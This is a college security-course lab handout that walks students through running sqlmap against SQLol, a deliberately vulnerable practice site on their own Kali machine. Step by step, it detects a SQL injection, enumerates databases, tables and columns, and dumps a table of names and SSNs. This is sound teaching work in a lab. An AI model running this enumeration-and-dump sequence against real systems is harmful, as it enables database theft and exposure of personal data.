Project SQL-3X for CNIT 123: sqlmap (10 pts.)

Requirements

You will need a Kali Linux machine with SQLol on it, including the simple page, which you prepared in previous projects.

List of All Projects

Testing SQLol

In your Linux machine, in Firefox, go to

localhost/sqlol

SQLol opens, as shown below:

If you don't see the SQLol page, you need to fix that problem before continuing. See the previous project for information about SQLol.

Testing the Simple Page

On your Linux machine, open a Web browser and go to

http://192.168.198.136/sqlol/simple.php?q=x

Replace 192.168.198.136 with the correct IP address of your Linux machine.

You should see a simplified version of the SQLol page, as shown below:

Using sqlmap to Determine Vulnerability

In a Terminal window, execute this command:
sqlmap -u localhost/sqlol/simple.php?q=x
Questions appears asking:

"heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]"

Answer Y and then press Enter.

"do you want to include all tests for 'MySQL' ignoring provided level (1) and risk (1)? [Y/n]"

Answer n and then press Enter. GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N]"

Answer n and then press Enter.

sqlmap exits, saying "Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'", as shown below:

This shows that the site is vulnerable.

Finding the Databases

In a Terminal window, execute this command:

sqlmap -u localhost/sqlol/simple.php?q=x -f -b --current-user --current-db --is-dba --users --dbs

This finds the available databases, including sqlol, as shown below:

Finding the Tables

In a Terminal window, execute this command:

sqlmap -u localhost/sqlol/simple.php?q=x --tables -D sqlol

This finds the tables: ssn and users, as shown below:

Finding the Columns

In a Terminal window, execute this command:

sqlmap -u localhost/sqlol/simple.php?q=x --columns -D sqlol -T ssn

This finds the columns: name and ssn, as shown below:

Dumping the Data

In a Terminal window, execute this command:

sqlmap -u localhost/sqlol/simple.php?q=x --dump -D sqlol -T ssn -C name,ssn

This dumps the data: name and ssn, as shown below:

Saving the Screen Image

Make sure you can see the names and ssns, as shown in the image above on this page, but without the gray boxes obscuring the data.

Save a screen image with the filename Proj SQL-3 from Your Name.

Turning in Your Project

Email the image to cnit.123@gmail.com with a Subject line of Proj SQL-X3 from Your Name.

Sources

http://kaoticcreations.blogspot.com/2011/04/sqlmap-basic-introduction-and-tutorial.html


Last modified: 5-7-15